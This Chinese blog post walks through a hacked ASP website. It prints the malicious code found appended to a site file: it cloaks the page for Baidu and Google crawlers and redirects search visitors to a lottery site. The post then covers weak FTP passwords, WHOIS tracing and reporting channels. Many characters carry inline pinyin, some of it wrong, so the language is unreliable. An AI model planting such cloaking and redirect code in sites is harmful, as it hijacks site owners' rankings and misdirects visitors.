前幾日，我的(dí)客(kè)戶電(diàn)話(huà)說自(zì)己的(dí)百(bǎi)度(dù)排(pái)名沒有了，查詢下竟然百度(dù)標簽顯示的(dí)內容是(shì)一家彩票(piào)平台的網站(zhàn)內(nèi)容。 我(wǒ)知道網(wǎng)站被黑(hēi)客加入了非法(fǎ)代碼(mǎ)，惡(è)意篡(cuàn)改了百(bǎi)度快(kuài)照(zhào)。(截圖如下)
查看“百度(dù)快(kuài)照(zhào)”出現(xiàn)的(dí)是(shì)一(yī)組(zǔ)跳轉(zhuǎn)網站(zhàn)的廣(guǎng)告(gào)內容(róng)。我們(mén)對客戶設置(zhì)的網站(zhàn)信息(xī)消(xiāo)失(shī)了。
1，黑(hēi)客(kè)是(shì)如(rú)何修改百度(dù)快照(zhào)的呢?
我進(jìn)行了排(pái)查(chá)，客戶(hù)的網(wǎng)站是(shì)使(shǐ)用asp源碼開發(fā)的。發(fā)現有(yǒu)個文件被(bèi)黑客寫(xiě)入(rù)了一(yī)段代碼。
路(lù)徑(jìng)：Inc文(wén)件夾(jiā)—SysProduct.asp文件裏(lǐ)麵(miàn)最底(dǐ)下添加(jiā)了如下代碼(mǎ)：
<%
function Getbot()
dim s_agent
GetBot=""
s_agent=Request.ServerVariables("HTTP_USER_AGENT")
if instr(1,s_agent,"googlebot",1) > 0 then
GetBot="google"
end if
if instr(1,s_agent,"baiduspider",1) > 0 then
GetBot="baidu"
end if
end function
if GetBot="baidu" or GetBot="google" then
'
Response.Redirect "http://*********"（跳轉的網站，引導百度抓取的內容）
else
'
Response.Write"<scrIPt type=""text/javascript"">var d=document.referrer;var re=/((wd|q|w|p|query)(=)([%A-Z0-9]*)(%E4%B8%A4%E5%85%83%E5%BD%A9%E7%A5%A8|%E4%B8%A4%E5%85%83%E5%BD%A9%E7%A5%A8%E7%BD%91|%E4%B8%A4%E5%85%83%E5%BD%A9%E7%A5%A8%E5%AE%98%E7%BD%91|%E4%B8%A4%E5%85%83%E5%BD%A9%E7%A5%A8%E5%B9%B3%E5%8F%B0))/;if(re.test(d)){self.location='http://*********';（目標網站）window.adworkergo='ad_app6'}else{}</script>"
end if
%>
黑(hēi)客設置(zhì)的(dí)這(zhè)串(chuàn)代碼導致百度爬(pá)蟲抓(zhuā)取(qǔ)網(wǎng)頁的(dí)時(shí)候，直(zhí)接抓取(qǔ)越過(guò)客戶網站抓取了跳轉網(wǎng)站內容，導致(zhì)百(bǎi)度快照(zhào)裏(lǐ)麵顯(xiǎn)示(shì)的是別的內(nèi)容(róng)。使得客(kè)戶(hù)本(běn)來排名首頁的網(wǎng)站直接(jiē)被(bèi)百度屏蔽(bì)了(liǎo)。造(zào)成了(liǎo)客戶很大(dà)的(dí)損失(shī)。2，那麼(mó)黑(hēi)客是如何(hé)進入後(hòu)台的呢?
黑客要進入後(hòu)台(tái)，必須知道(dào)FTP賬(zhàng)戶(hù)和密(mì)碼，以及IP地址。
造成的原因有如下幾種：
1)一方麵是FTP密碼設置的時候比較簡單化，很容易被利用軟件破解掉，
2)另一方麵選擇便宜的空間也是一種隱患。因為空間IP以及用戶名是很難被知道的，除非有人提供。
3，網站被(bèi)黑(hēi)之(zhī)後，你如(rú)何追查(chá)黑(hēi)客(kè)的(dí)來(lái)源(yuán)?方法比(bǐ)較(jiào)簡單(dān)，就是(shì)查詢(xún)你跳(tiào)轉(zhuǎn)的目(mù)標網(wǎng)站(zhàn)的(dí)域名信息(xī)。一(yī)般情況下(xià)，都是(shì)一(yī)些(xiē)小型(xíng)的(dí)站長(cháng)開發的(dí)賺(zhuàn)錢(qián)網(wǎng)站，通過(guò)查(chá)詢域(yù)名信息(xī)你(nǐ)可(kě)以(yǐ)獲知該域(yù)名的(dí)歸屬人是誰(shuí)，他有可能(néng)就是(shì)黑你網站(zhàn)的人(rén)。
如(rú)果是比較(jiào)大(dà)型的(dí)網(wǎng)站(zhàn)利(lì)用外包的方(fāng)式(shì)進(jìn)行(háng)推廣(guǎng)，那麼你(nǐ)也可(kě)以得(dé)知負責人(rén)，給百度或者是(shì)網(wǎng)絡警察舉報(bào)一(yī)下(xià)，該網站(zhàn)存(cún)在(zài)惡意攻擊修改內(nèi)容(róng)的行為，畢竟(jìng)它也(yě)有一(yī)定得責(zé)任。
通過中(zhōng)國萬網(wǎng)Whois域(yù)名(míng)查詢：比如我客戶跳(tiào)轉的(dí)彩(cǎi)票網站的域名信息(xī)如(rú)下：
1)第一(yī)個是：注(zhù)冊人(rén)
2)第(dì)二(èr)個是(shì)：聯(lián)係電(diàn)話
3)第(dì)三個是：聯(lián)係郵箱(xiāng)
基本(běn)上你聯(lián)係(xì)注冊人就(jiù)可以(yǐ)解決問題。如果對(duì)你客戶造(zào)成(chéng)的損失(shī)太(tài)大的話，建(jiàn)議你通過以(yǐ)下方(fāng)式(shì)進行維(wéi)權：
違法和不良信息舉報中心：http://net.china.cn/
12321網絡不良與垃圾信息舉報受理中心：http://www.12321.cn/
國家互聯網應急中心網絡安全舉報中心：http://www.cert.org.cn/
中國反釣魚網站聯盟認定及處理流程： http://www.cnnic.cn/
公安部信息網絡安全報警網站：http://www.cyberpolice.cn/wfjb/
中國掃黃打非網：http://www.shdf.gov.cn/
北京市公安局網絡違法犯罪舉報網站：http://www.bj.cyberpolice.cn/index.jsp
希(xī)望(wàng)本(běn)篇文章對你防黑(hēi)有幫(bāng)助(zhù)。作(zuò)者(zhě)：網牛(niú)天下(xià)
轉(zhuǎn)載(zǎi)請(qǐng)保留原文地址: https://antelcom.cn/show-320.html